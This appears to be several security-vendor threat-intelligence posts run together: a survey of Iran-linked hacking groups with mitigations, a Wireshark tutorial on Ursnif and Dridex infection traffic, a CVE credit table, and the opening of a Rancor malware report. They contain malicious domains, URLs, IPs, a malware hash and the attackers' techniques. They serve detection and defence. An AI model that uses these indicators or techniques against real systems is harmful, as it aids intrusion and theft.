Since 2010, it is thought that Iran has been highly active in cyber operations campaigns throughout the world. A number of groups and campaigns have been named and published on by the private sector, but direct attribution to the nation-state of Iran is still largely lacking in many of these instances. Most attribution published by the private sector has relied on tactical evidence surrounding targeting and possible motivations. It is important to keep this in mind, while at the same time understanding that without additional evidence, the current attribution set is accepted industry-wide as fact. Unit 42 has not gathered evidence to specifically attribute any of the accepted groups as originating from Iran, but also has not observed any evidence to counter any publicly made claims.

Overview of Iran-Linked Campaigns: Some of the currently active groups or campaigns publicly attributed by the industry as originating from Iran are:

  • OilRig (AKA APT34/Helix Kitten)
  • MagicHound (AKA APT35/Newscaster/Cobalt Gypsy)
  • APT33 (AKA Refined Kitten/Elfin)
  • DarkHydrus
  • Shamoon
  • MuddyWater (AKA Static Kitten)

There appear to be two distinct motivators for these groups, espionage and destruction. The majority of observed attack campaigns have been espionage related, with the associated groups appearing to seek continued access into a target organization or access to sensitive data. A smaller number of highly focused destructive attacks have been observed over time, beginning with the original Shamoon attack in 2012, with additional iterations years after, and more recently with StoneDrill and ZeroCleare.

Overall, cyber attacks thought to be originating from Iran have been persistent and ongoing for the last decade. The target radius for these groups have spanned across the globe, across all major industries. Although perceived retaliatory actions may occur in the near future, even those actions are most likely in conjunction with ongoing attack campaigns and operations.

Iranian TTPs: Behaviorally, several tactics and techniques have been observed across multiple groups and campaigns over time. The following is a list of commonly observed tactics and techniques along with their associated ATT&CK IDs:

General Mitigations: With this knowledge of common behaviors, some mitigations recommendations are:

  • Increase education and awareness against phishing attacks in your organization via exercises and informational resources
  • Enable or implement multi-factor authentication on public facing systems, or more preferably, across the entire organization
  • Enable or implement credential theft detection features in network security devices
  • Enable or implement anomalous DNS behavior detection/prevention capability
  • Blacklist EldoS RawDisk driver, unless absolutely required for business purposes
  • Review security policies for macro documents and restrict execution where possible
  • Review security policies for script file execution on endpoints and restrict where possible
  • Review all public facing network applications and deploy up-to-date patches
  • Enable or implement domain or URL categorization features in network security devices
  • Scan endpoints for new or unknown scheduled tasks
  • Implement detection and prevention logic for behaviors associated with Mimikatz
  • Patch remotely exposed software for known vulnerabilities as soon as possible

Palo Alto Networks’ Customer Mitigations: Palo Alto Networks customers should adopt best practices and evaluate their security posture to protect against the threats outlined in this document as well as other threats that may impact their network and users.

Group Details

OilRig (AKA APT34/Helix Kitten)

https://attack.mitre.org/groups/G0049/

OilRig is a threat group Unit 42 named and discovered in May 2016. Since then, we have extensively researched their campaigns and operations. This threat group is extremely persistent and relies heavily on spear-phishing as their initial attack vector, but has also been associated with other more sophisticated attacks such credential harvesting campaigns and DNS hijacking. In their spear-phishing attacks, OilRig preferred macro-enabled Microsoft Office (Word and Excel) documents to install their custom payloads that came in the form of portable executables (PE), PowerShell and VBScripts. OilRig’s custom payloads frequently used DNS tunneling as a command and control (C2) channel.

Once gaining access to an end point, actors would use credential dumping tools, such as Mimikatz to gather credentials to legitimate accounts to then move laterally to other systems on the network. When presented with a webserver, OilRig would install a webshell as another ingress point to maintain access to the network.

References

https://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/

https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/

https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/

https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/

https://unit42.paloaltonetworks.com/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/

https://unit42.paloaltonetworks.com/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/

https://unit42.paloaltonetworks.com/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/

https://unit42.paloaltonetworks.com/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/

https://unit42.paloaltonetworks.com/unit42-oilrig-performs-tests-twoface-webshell/

https://unit42.paloaltonetworks.com/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/

https://unit42.paloaltonetworks.com/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/

https://unit42.paloaltonetworks.com/unit42-striking-oil-closer-look-adversary-infrastructure/

https://unit42.paloaltonetworks.com/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/

https://unit42.paloaltonetworks.com/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/

https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/

Magic Hound (AKA APT35/Newscaster/Cobalt Gypsy)

https://attack.mitre.org/groups/G0059/

The Magic Hound campaign targeted energy, government, and technology organizations with spear-phishing emails as a delivery mechanism. These emails delivered macro-enabled Microsoft Office documents and PE files within attachments. The documents and executables attached to emails would install a variety of tools from portable PE files, .NET Framework PE files, Meterpreter, IRC bots, an open sourced Meterpreter module called Magic Unicorn, and an open sourced Python RAT called Pupy.

The custom tools used in the Magic Hound campaign provided connections to other threat groups, such as the IRC Bot which was very similar to the Parastoo tool associated with the NEWSCASTER threat group. Also, a Magic Hound C2 server was also used as a C2 server for a tool called MPKBot that had been associated with the Rocket Kitten threat group.

References

https://unit42.paloaltonetworks.com/unit42-magic-hound-campaign-attacks-saudi-targets/

APT33 (AKA Refined Kitten/Elfin)

https://attack.mitre.org/groups/G0064/

APT33 is a threat group thought to have strong interest in the aeronautics and energy sectors. They use spear-phishing attacks with a domain masquerading technique to make the links in their emails appear legitimate. They are known to use custom tools in conjunction with well-known publicly available backdoors that are sold in various hacking forums. A recent report uncovered this threat group’s attack infrastructure, which leveraged commercial VPN providers in addition to compromised systems to use as proxies to further mask their origins. This activity exemplified how this adversary group and other related groups will attack organizations outside of their mission objective to augment their own capabilities to complete their task.

References

https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

https://blog.trendmicro.com/trendlabs-security-intelligence/more-than-a-dozen-obfuscated-apt33-botnets-used-for-extreme-narrow-targeting/

DarkHydrus

https://attack.mitre.org/groups/G0079/

The DarkHydrus threat group has targeted government entities and educational institutions with spear-phishing attacks and credential harvesting campaigns. DarkHydrus is a more sophisticated group when compared to others operating in the region, as their toolset and TTPs show a higher skill level. DarkHydrus has used custom tools in addition to publicly available red-teaming tools such as Phishery. They have also been observed using Google Drive for their C2 channel.

References

https://unit42.paloaltonetworks.com/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/

https://unit42.paloaltonetworks.com/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/

https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/

Shamoon

The original Shamoon attack was launched in 2012 and targeted two specific organizations in the energy sector with the goal of rendering their respective computer systems inoperable by wiping their disks. The attack package included a commercially available driver to execute the wiping tasks and also included a worming component which allowed the package to spread within a target organization in an automated manner. The 2012 incident was one of the first large scale targeted destructive attacks that had been publicly shared. Since the original 2012 attack, two other instances of Shamoon have been discovered, in 2016 as well as 2018. In each instance, the primary capabilities and functionality remained largely the same.

References

https://securelist.com/shamoon-the-wiper-copycats-at-work/57854/

https://unit42.paloaltonetworks.com/unit42-shamoon-2-return-disttrack-wiper/

https://unit42.paloaltonetworks.com/unit42-second-wave-shamoon-2-attacks-identified/

https://unit42.paloaltonetworks.com/unit42-shamoon-2-delivering-disttrack/

https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/

https://unit42.paloaltonetworks.com/shamoon-3-modified-open-source-wiper-contains-verse-from-the-quran/

MuddyWater (AKA Static Kitten)

MuddyWater is a group that emerged in 2017 and was initially thought to be part of the financially motivated criminal group commonly referred to as FIN7 due to the use of an open source tool that was used by both sets of activity. Additional investigation revealed no other similarities in either tools or tactics, thus concluding that the MuddyWater activity was likely operated by a separate actor. This group generally used spear-phishing with macro-enabled Office documents to deliver their payloads, which were either embedded directly in the macro, or hosted on a first stage C2 server. These C2 servers were observed to be either third party file hosting sites or code sharing repositories such as GitHub. A significant portion of MuddyWater’s toolset consisted of open sourced red-teaming tools such as Invoke-Obfuscation, Lazagne, Mimikatz, etc.

References

https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/

https://securelist.com/muddywater/88059/

https://www.clearskysec.com/muddywater2/

https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/

Conclusion

Assuming the highlighted groups are indeed Iranian in origin, their activity has been well documented and the various groups often times use very similar tactics and techniques to execute their attacks, such as the heavy use of spear-phishing and credential harvesting. This activity has been persistent for the last decade, and it should be expected to continue or increase with recent geopolitical events. However, across all of these groups as well as others that were not highlighted, another consistent theme has been the abuse of poorly implemented IT and security policies. Enabling Multi-Factor Authentication (MFA) throughout an organization, properly segmenting networks, limited macro-enabled documents, and disallowing network activity to unknown domains are examples of relatively simple policies that could have assisted in the neutralization of these adversary groups’ malicious actions.

Indicators

Unit 42 has consolidated the IOCs of the referenced groups in this report and stored them in our GitHub repository. This dataset should not be considered comprehensive of all potential Iran-linked cyber operations, and may be subject to change without notice.

Link to IOCs on GitHub

 

Wireshark Tutorial: Examining Ursnif Infections

Posted on by Brad Duncan

Ursnif is banking malware sometimes referred to as Gozi or IFSB. The Ursnif family of malware has been active for years, and current samples generate distinct traffic patterns.

This tutorial reviews packet captures (pcaps) of infection Ursnif traffic using Wireshark. Understanding these traffic patterns can be critical for security professionals when detecting and investigating Ursnif infections.

This tutorial covers the following:

  • Ursnif distribution methods
  • Categories of Ursnif traffic
  • Five examples of pcaps from Ursnif infections

Note: This tutorial assumes you have a basic knowledge of Wireshark, and it uses a customized column display shown in this tutorial. You should also have experience with Wireshark display filters as described in this additional tutorial.

Ursnif Distribution Methods

Ursnif can be distributed through web-based infection chains and malicious spam (malspam). In some cases, Ursnif is a follow-up infection caused by different malware families like Hancitor, as reported in this recent example.

We frequently find examples of Ursnif from malspam-based distribution campaigns, such as the example in Figure 1.

Figure 1. Flowchart from one of the more common Ursnif distribution campaigns.

Categories of Ursnif Traffic

This tutorial covers two categories of Ursnif infection traffic:

  • Ursnif without HTTPS post-infection traffic
  • Ursnif with HTTPS post-infection traffic

Malware samples from either of these categories create the same type of artifacts on an infected Windows host. For example, both types of Ursnif remain persistent on a Windows host by updating the Windows registry, such as the example shown in Figure 2.

Figure 2. Example of Windows registry updates caused by samples of Ursnif, either with or without HTTPS post-infection traffic.

Example 1: Ursnif without HTTPS

The first pcap for this tutorial, Ursnif-traffic-example-1.pcap, is available here. The chain of events behind this traffic was tweeted here. Example 1 has been stripped of all traffic not directly related to the Ursnif infection.

Open the pcap in Wireshark and filter on http.request as shown in Figure 3.

Figure 3. The pcap for example 1 filtered in Wireshark.

In this example, the Ursnif-infected host generates post-infection traffic to 8.208.24[.]139 using various domain names ending with .at. This category of Ursnif causes the following traffic:

  • HTTP GET requests caused by the initial Ursnif binary
  • HTTP GET request for follow-up data, with the URL ending in .dat
  • HTTP GET and POST requests after Ursnif is persistent in the Windows registry

The following HTTP data is used during the traffic in our first example:

  • Domain for initial GET requests: w8.wensa[.]at
  • Request for follow-up data: hxxp://api2.casys[.]at/jvassets/xI/t64.dat
  • Domain for GET and POST requests after Ursnif is persistent: h1.wensa[.]at

Follow the TCP stream for the very first HTTP GET request at 20:13:09 UTC. The TCP stream window shows the full URL. Note how the GET request starts with /api1/ and is followed by a long string of alpha-numeric characters with backslashes and underscores. Figure 4 highlights the GET request.

Figure 4. Example of an HTTP GET request caused by our first Ursnif example.

We can find the same pattern from Ursnif activity caused by a Hancitor infection on December 10,2019. The pcap is available here. Mixed with the other malware activity, this December 10th example contains the following indicators for Ursnif:

  • Domain for initial GET requests: foo.fulldin[.]at
  • Request for follow-up data: hxxp://one.ahah100[.]at/jvassets/o1/s64.dat
  • Domain for GET and POST requests after Ursnif is persistent: api.ahah100[.]at

Note how patterns from Ursnif traffic in the December 10th example are similar to the patterns we find in example 1. These patterns are commonly seen from Ursnif samples that do not use HTTPS traffic.

Example 2: Ursnif with HTTPS

The second pcap for this tutorial, Ursnif-traffic-example-2.pcap, is available here. Like our first pcap, this one has also been stripped of any traffic not related to the Ursnif infection.

Open the pcap in Wireshark and filter on http.request or ssl.handshake.type == 1 as shown in Figure 5. If you are using Wireshark 3.0 or newer, filter on http.request or tls.handshake.type == 1 for the correct results.

Figure 5. The pcap for our second example filtered in Wireshark.

This example has the following sequence of events:

  • HTTP GET request that returns an initial Ursnif binary
  • HTTP GET requests caused by the initial Ursnif binary
  • HTTPS traffic after Ursnif is persistent in the Windows registry

Follow the TCP stream for the first HTTP GET request to ghinatronx[.]com. This TCP stream reveals a Windows executable or DLL file as shown in Figure 6. We can export the Ursnif binary from the pcap as described in this previous tutorial.

Figure 6. The first HTTP GET request returning a binary for Ursnif.

The next four HTTP requests to bjanicki[.]com were caused by the Ursnif binary. Follow the TCP stream for the first HTTP GET request to bjanicki[.]com at 18:46:21 UTC. This TCP stream shows the full URL. Note how the GET request starts with /images/ and is followed by a long string of alpha-numeric characters with backslashes and underscores before ending with .avi. This URL pattern is somewhat similar to Ursnif traffic from our first pcap. Figure 7 highlights a GET request from our second pcap.

Figure 7. Example of an HTTP GET request from our second Ursnif example.

Unlike our first example, Ursnif in this second pcap generates HTTPS traffic after it becomes persistent on an infected Windows host. Use your basic web filter as described in this previous tutorial for a quick review of the HTTPS traffic. Note the HTTPS traffic to prodrigo29lbkf20[.]com as shown in Figure 8.

Figure 8. Filtering on web traffic in Wireshark, highlighting the HTTPS traffic generated by Ursnif.

HTTPS traffic generated by this Ursnif variant reveals distinct characteristics in certificates used to establish encrypted communications. To get a closer look, filter on ssl.handshake.type == 11 (or tls.handshake.type == 11 in Wireshark 3.0 or newer). Select the first frame in the results and go to the frame details window. There we can expand lines and work our way to the certificate issuer data. Figure 9 shows how to begin.

Figure 9. Finding our way to the certificate issuer data.

As shown in Figure 9, we expand the line for Secure Sockets Layer in the frame details window. For Wireshark 3.0, this line shows as Transport Layer Security. Then we expand the line labeled TLSv1.2 Record Layer: Handshake Protocol: Certificate. Then we expand the line labeled Handshake Protocol: Certificate.

We keep expanding, until we find our way to the certificate issuer data as shown in Figure 10.

Figure 10. Certificate issuer data from HTTPS traffic caused by Ursnif.

In Figure 10 shown under the Handshake Protocol: Certificate line, we work our way down through the following items:

  • Certificates (615 bytes)
  • Certificate: 30820260308201c9a003020102020900c692c94106d77dfc...
  • signedCertificate
  • Issuer: rdnSequence (6)
  • rdnSequence: 6 items (id-at-commonName=*,id-at-organizationalUnitN...

Individual items under the rdnSequence line show properties of the certificate issuer. These reveal the following characteristics:

  • countryName=XX
  • stateOrProvinceName=1
  • localityName=1
  • organizationName=1
  • organizationalUnitName=1
  • commonName=*

This issuer data is not valid, and these patterns are commonly seen in Ursnif infections. But what does legitimate certificate data look like? Figure 11 shows valid data from a certificate issued by DigiCert.

Figure 11. Valid certificate issuer data.

One last thing about Ursnif is the IP address check by an Ursnif-infected host. This happens over DNS using a resolver at opendns[.]com. Like other IP address identifiers, this is a legitimate service. However, these services are commonly used by malware.

To see this IP address check, filter on dns.qry.name contains opendns.com and review the results as shown in Figure 12.

Figure 12. IP address check by an Ursnif-infected Windows host.

As shown in Figure 12, the Window host generated a dns query for resolver1.opendns[.]com followed by a DNS query to 208.67.222[.]222 for myip.opendns[.]com. The DNS query to myip.opendns[.]com returned the public IP address of the infected Windows host.

Example 3: Ursnif with Follow-up Malware

Our third pcap, Ursnif-traffic-example-3.pcap, is available here. This pcap also has unrelated activity stripped from the traffic, but it builds on our last example. Our third pcap includes what appears to be decoy traffic, and it also includes an HTTP GET request for follow-up malware. The sequence of events is:

  • HTTP GET request that returns an initial Ursnif binary
  • HTTP GET requests caused by the initial Ursnif binary, including decoy URLs
  • HTTPS traffic after Ursnif is persistent in the Windows registry
  • HTTP GET request for follow-up malware

Use your basic web filter as described in this previous tutorial for a quick review of the web-based traffic as shown in Figure 13.

Figure 13. Filtering our third pcap for web traffic in Wireshark.

In Figure 13, the initial HTTP request to sinicaleer[.]com returned a Windows executable for Ursnif. The remaining traffic visible Figure 13 was caused by the Ursnif executable until it became persistent.

Three HTTP requests to google[.]com follow similar URL patterns as Ursnif traffic to an actual malicious domain of ghdy656262oe[.]com. These HTTP GET requests to google[.]com appear to be decoy traffic, because they do not assist the infection. HTTPS traffic over TCP port 443 to gmail[.]com and www.google[.]com also serves no direct purpose for the infection, and that activity could also be classified as decoy traffic. Figure 14 shows an example of the decoy HTTP GET requests to google[.]com.

Figure 14. Decoy HTTP GET request by the Ursnif-infected host to a Google domain.

Note the HTTP traffic to ghdy656262oe[.]com. The first two GET requests to ghdy656262oe[.]com return a 404 Not Found response as shown in Figure 15. The third HTTP GET request returns a 200 OK response, and the infection continues as shown in Figure 16.

Figure 15. First two HTTP GET requests to malicious Ursnif domain return a 404 Not Found response.

Figure 16. Some false starts before the Ursnif infection continues.

Since the first HTTP GET request to ghdy656262oe[.]com was not a 200 OK, the infected Windows host cycled through other malicious domains to continue the infection. These two domains are tnzf3380au[.]top and xijamaalj[.]com. However, the DNS queries for these domains returned a “No such name” in response, so the infected Windows host went back to trying ghdy656262oe[.]com.

Use the following Wireshark filter to better see this sequence of events:

((http.request or http.response) and ip.addr eq 194.1.236.191) or dns.qry.name contains tnzf3380au or dns.qry.name contains xijamaalj

The results should appear similar to the column display in Figure 17.

Figure 17. Filtering to show how the infected Windows host tries Ursnif-related domains before it hits a 200 OK in HTTP traffic.

To review the rest of the infection, use your basic web filter and scroll to the end of the results. Figure 18 shows the post-infection traffic after Ursnif becomes persistent.

Figure 18. Post-infection traffic after Ursnif becomes persistent on the victim’s Windows host.

In Figure 18, after five HTTP GET requests to ghdy656262oe[.]com, we find traffic generated by the infected Windows host after Ursnif becomes persistent. This includes HTTPS traffic to google[.]com and gmail[.]com.

Traffic to vnt69tnjacynthe[.]com should have the same type of certificate issuer data we witnessed in our second pcap. But this traffic includes an HTTP GET request to carresqautomotive[.]com ending with .rar.

This URL ending in .rar returned follow-up malware. However, this follow-up malware is encoded or otherwise encrypted when sent over the network. The binary decoded on the infected Windows host, which is not seen in the infection traffic. Follow the TCP stream for the HTTP GET request to carresqautomotive[.]com, and you should see the same data as shown in Figure 19.

Figure 19. Follow-up malware sent to an Ursnif-infected Windows host.

This data is encrypted, so we cannot export a copy of the follow-up malware from the pcap. Therefore, we must rely on other post-infection traffic to determine what type of malware was sent to the Ursnif-infected host.

We have seen various types of follow-up malware from Ursnif infections, including Dridex, IcedID, Nymain, Pushdo, and Trickbot.

Our next example is an Ursnif infection with Dridex as the follow-up malware.

Example 4: Ursnif Infection with Dridex

Our fourth pcap, Ursnif-traffic-example-4.pcap, is available here. Unlike our first three examples, this pcap does not have unrelated activity stripped from the traffic.

Use your basic web filter to get a better idea of the traffic. Your results should appear similar to Figure 20.

Figure 20. Traffic from our fourth pcap filtered in Wireshark.

This pcap has the same sequence of events as our previous example, but it adds post-infection activity from the follow-up malware:

  • HTTP GET request that returns an initial Ursnif binary
  • HTTP GET requests caused by the initial Ursnif binary, including decoy URLs
  • HTTPS traffic after Ursnif is persistent in the Windows registry
  • HTTP GET request for follow-up malware
  • Post-infection activity from the follow-up malware

In this fourth example, the HTTP GET request for an initial Ursnif binary is to oklogallem[.]com. Ursnif causes HTTP GET requests to kh2714ldb[.]com before the infection becomes persistent.

Figure 21 shows activity after Ursnif is persistent, where Ursnif causes HTTPS traffic to s9971kbjjessie[.]com. We then see an HTTP GET request to startuptshirt[.]my for the follow-up malware. Finally we find post-infection traffic caused by the follow-up malware.

Figure 21. Activity from the infection after Ursnif is persistent.

Our fourth example follows the same infection patterns as our third pcap, but now we also have HTTPS/SSL/TLS traffic to 94.140.114[.]6 and 5.61.34[.]51 without any associated domain name. This is Dridex post-infection traffic.

Certificate issuer data for Dridex is different than certificate issuer data for Ursnif. Use the following filter to review the Dridex certificate data in our fourth pcap:

(ip.addr eq 94.140.114.6 or ip.addr eq 5.61.34.51) and ssl.handshake.type eq 11

Note: if you are using Wireshark 3.0 or newer, use tls.handshake.type instead of ssl.handshake.type.

Select the first frame in the results, go to the frame details window, and expand the certificate-related lines as shown by our second example in Figures 9 and 10. Examining certificate issuer data from our fourth pcap should look similar to Figures 22 and 23.

Figure 22. Working our way to the certificate issuer data in the Dridex traffic.

Figure 23. Reaching the certificate issuer data from one of the Dridex IP addresses.

Under the rdnSequence line, we find properties of the certificate issuer. Certificate issuer characteristics for HTTPS/SSL/TLS traffic at 94.140.114[.]6 follows:

  • countryName=NP
  • localityName=Kathmandu
  • organizationName=Buvecoww Fftaites O.V.E.E.
  • organizationalUnitName=Olfo Dusar Latha
  • commonName=ndltman-dsamutb.spiegel

Certificate issuer data is different for 5.61.34[.]51, but it follows a similar style:

  • countryName=MU
  • localityName=Port Louis
  • organizationName=Ppoffi Sourinop Cooperative
  • organizationalUnitName=ipeepstha and thicioi
  • commonName=plledsaprell.Byargt9wailen.voting

This type of issuer data is commonly seen for Dridex post-infection traffic. In our next example, you can further practice reviewing certificate issuer data for Dridex.

Example 5: Evaluation

The fifth pcap for this tutorial, Ursnif-traffic-example-5.pcap, is available here. Like our previous example, this pcap has an Ursnif infection followed by Dridex, so we can practice the skills described so far in this tutorial.

Based on what we have learned so far, open the fifth pcap in Wireshark, and answer the following questions:

  • For the initial Ursnif binary, which URL returned a Windows executable file?
  • After the initial Ursnif binary was sent, the infected Windows host contacted different domains for the HTTP GET requests. Which domain was the traffic successful and allowed the infection to proceed?
  • What domain was used in HTTPS traffic after Ursnif became persistent on the infected Windows host?
  • What URL ending in .rar was used to send follow-up malware to the infected Windows host?
  • What IP addresses were used for the Dridex post-infection traffic?

Answers follow.

Q: For the initial Ursnif binary, which URL returned a Windows executable file?

A: hxxp://ritalislum[.]com/obedle/zarref.php?l=sopopf8.cab

The only Windows executable file in this pcap is the initial Windows executable file for Ursnif. Use the following Wireshark search filter to quickly find this executable:

ip contains "This program"

This filter should provide only one frame in the results. Follow the TCP stream for this frame as shown in Figure 24.

Figure 24. Filtering to find a frame with the Windows executable file and following the TCP stream.

The TCP stream window contains the domain and URL from the GET request as shown in Figure 25.

Figure 25. URL info from the TCP stream.

Q: After the initial Ursnif binary was sent, the infected Windows host contacted different domains for the HTTP GET requests. Which domain was the traffic successful and allowed the infection to proceed?

A: k55gaisi[.]com

Use your basic web filter for an overview of the web traffic. HTTP requests caused by this variant of Ursnif start with GET /images/ as already seen in examples two, three, and four of this tutorial. The first HTTP request to k55gaisi[.]com at 15:36 UTC is noted in Figure 26. But if you follow the TCP stream, it shows a 404 Not Found as the response.

Figure 26. Searching web traffic for HTTP GET requests caused by Ursnif.

Also shown in Figure 26, the next HTTP GET request for an Ursnif-style URL is to bon11ljgarry[.]com at 15:37 UTC. The HTTP stream for that request reveals a redirect to a URL at www.search-error[.]com.

Scroll down further, and for similar traffic to leinwqoa[.]com as noted in Figure 27.

Figure 27. Finding another Ursnif-style URL that redirects to a search error page.

Scroll down further to find four HTTP GET requests to k55gaisi[.]com that return 200 OK responses. From this point, the Ursnif infection proceeds, and we find no further Ursnif-style HTTP requests that start with GET /images/.

Figure 28. Finding the Ursnif-style HTTP GET requests that return a 200 OK.

Q: What domain was used in HTTPS traffic after Ursnif became persistent on the infected Windows host?

A: n9maryjanef[.]com

When Ursnif is persistent, we no longer see Ursnif-style HTTP requests starting with GET /images/. Instead, we find Ursnif-related HTTPS traffic. Shortly after the final Ursnif-style HTTP GET request, HTTPS traffic to n9maryjanef[.]com begins on 185.118.165[.]109 as highlighted in Figure 29. This is Ursnif traffic.

Figure 29. HTTPS traffic caused by Ursnif.

You can confirm this is Ursnif traffic by filtering on ip.addr eq 185.118.165.109 and ssl.handshake.type == 11 and reviewing the certificate issuer data. The certificate issuer data should look the same as our second example in Figure 10.

Q: What URL ending in .rar was used to send follow-up malware to the infected Windows host?

A: hxxps://testedsolutionbe[.]com/wp-content/plugins/apikey/uaasdqweeeeqsd.rar

HTTP GET requests caused by Ursnif for follow-up malware end in .rar, so use the following filter to find this URL in our pcap:

http.request and ip contains .rar

The results should be similar to what we see in Figure 30.

Figure 30. Finding the URL for follow-up malware from this Ursnif infection.

Notice in Figure 30 how the HTTP GET request in Figure 30 redirects to an HTTPS URL.

Q: What IP addresses were used for the Dridex post-infection traffic?

A: 185.99.133[.]38 and 5.61.34[.]51

One of these IP addresses is the same as Dridex in our fourth pcap, and it has the same certificate issuer data. Dridex traffic to 185.99.133[.]38 has the same style of certificate issuer data as seen in example 4. Traffic to both IP addresses does not involve a domain name.

The Dridex post-infection traffic is easy to spot in this example if we look for any HTTPS/SSL/TLS traffic without a domain after the HTTP GET request ending in .rar as shown in Figure 31.

Figure 31. Finding the Dridex traffic in our fifth pcap.

Conclusion

This tutorial provided tips for examining Windows infections with Ursnif malware. More pcaps with examples of Ursnif activity can be found at malware-traffic-analysis.net.

For more help with Wireshark, see our previous tutorials:

Unit 42 Discovers 13 New Vulnerabilities Across Microsoft and Adobe Products

Posted on by John Harrison

Overview

Palo Alto Networks’ Unit 42 threat researchers have been credited with discovering six new vulnerabilities addressed by the Adobe Product Security Incident Response Team (PSIRT) as part of its December Adobe Security Bulletin APSB19-55 security updates. Additionally, seven new “important” rated vulnerabilities were addressed by the Microsoft Security Response Center (MSRC) as part of its September, October and November 2019 security update releases.

Vulnerabilities

The Adobe vulnerabilities discovered included two “critical” and four “important” rated vulnerabilities, while the severity of the Microsoft vulnerabilities discovered were all rated “important”.

The Unit 42 researchers credited are Bo Qu, Zhibin Zhang, Qi Deng, Ken Hsu, Lexuan Sun, Hao Cai, Yue Guan, Haozhe Zhang, Hui Gao, Gal De Leon, Bar Lahav, Nadav Markus and Yaron Samuel. This is the first Microsoft and Adobe vulnerability discoveries credited to Ken Hsu, Lexuan Sun, Hao Cai, Yue Guan, Haozhe Zhang, Nadav Markus and Yaron Samuel.

The recently discovered exploits are listed in Table 1 below:

Vendor CVE Vulnerability Category Impact Maximum Severity Rating Researcher(s)
Adobe CVE-2019-16456 Out-of-Bounds Read Information Disclosure Important Bo Qu
Adobe CVE-2019-16457 Out-of-Bounds Read Information Disclosure Important Zhibin Zhang
Adobe CVE-2019-16458 Out-of-Bounds Read Information Disclosure Important Qi Deng, Ken Hsu
Adobe CVE-2019-16459 Use After Free Arbitrary Code Execution Critical Lexuan Sun, Hao Cai
Adobe CVE-2019-16464 Use After Free Arbitrary Code Execution Critical Yue Guan, Haozhe Zhan
Adobe CVE-2019-16465 Out-of-Bounds Read Information Disclosure Important Hui Gao, Zhibin Zhang, Yue Guan
Microsoft CVE-2019-1374 Windows Error Reporting Information Disclosure Vulnerability Information Disclosure Important Gal De Leon
Microsoft CVE-2019-1406 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon
Microsoft CVE-2019-1417 Windows Data Sharing Service Elevation of Privilege Vulnerability Elevation of Privilege Important Nadav Markus and Yaron Samuel
Microsoft CVE-2019-1319 Windows Error Reporting Elevation of Privilege Vulnerability Elevation of Privilege Important Gal De Leon
Microsoft CVE-2019-1342 Windows Error Reporting Manager Elevation of Privilege Vulnerability Elevation of Privilege Important Gal De Leon
Microsoft CVE-2019-1241 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon
Microsoft CVE-2019-1250 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon

Table 1. Critical and important vulnerabilities discovered in Adobe and Microsoft products

Conclusion

Palo Alto Networks customers using deploying our Next-Generation Firewalls with our best practices and a Threat Prevention Subscription are protected from zero-day vulnerabilities such as these. Weaponized exploits for these vulnerabilities are prevented by Traps’ multi-layered exploit prevention capabilities. Threat prevention capabilities such as vulnerability protection with IPS and WildFire provide our customers with comprehensive protection and automatic updates against previously unknown threats.

Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Google Android, and other ecosystems, with more than 200 critical vulnerabilities discovered and regular talks at security conferences such as BlueHat and BlackHat.

By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons used by attackers to threaten users and compromise enterprise, government, and service provider networks.

 

Rancor: Cyber Espionage Group Uses New Custom Malware to Attack Southeast Asia

Posted on by Jen Miller-Osborn

Executive Summary

In late June 2018, Unit 42 revealed a previously unknown cyber espionage group we dubbed Rancor, which conducted targeted attacks in Southeast Asia throughout 2017 and 2018. In recent attacks, the group has persistently targeted at least one government organization in Cambodia from December 2018 through January 2019. While researching these attacks, we discovered an undocumented, custom malware family - which we’ve named Dudell. In addition, we discovered the group using Derusbi, which is a malware family believed to be unique to a small subset of Chinese cyber espionage groups.

Attack Details

Between early December 2018 and the end of January 2019, Rancor conducted at least two rounds of attacks intending to install Derusbi or KHRat malware on victim systems. January 2019 sent via 149.28.156[.]61 to deliver either Derusbi or KHRat samples with either cswksfwq.kfesv[.]xyz or connect.bafunpda[.]xyz as C2.

Malware Overview

DUDELL

SHA256 0d61d9baab9927bb484f3e60384fdb6a3709ca74bc6175ab16b220a68f2b349e
File Type Microsoft Excel 97 - 2003 Document
File Name Equipment Purchase List 2018-2020(Final).xls

Table 1. DUDELL properties

The DUDELL sample is a weaponized Microsoft Excel document that contains a malicious macro that runs on the victim’s machine. It shares the same malicious behavior reported by Checkpoint in Rancor: The Year of The Phish SHA-1 c829f5f9ff89210c888c1559bb085ec6e65232de. In Check Point’s blog, the sample is from December 2018 while this sample is from April 2018. It has the following metadata:

Codepage 1252
Author MS
Last author MS
Application name Microsoft Excel
Creation time Mon Oct 14 23:33:28 1996
Last Save time Wed Apr 11 02:18:59 2018
Security type 0

Table 2. DUDELL file metadata

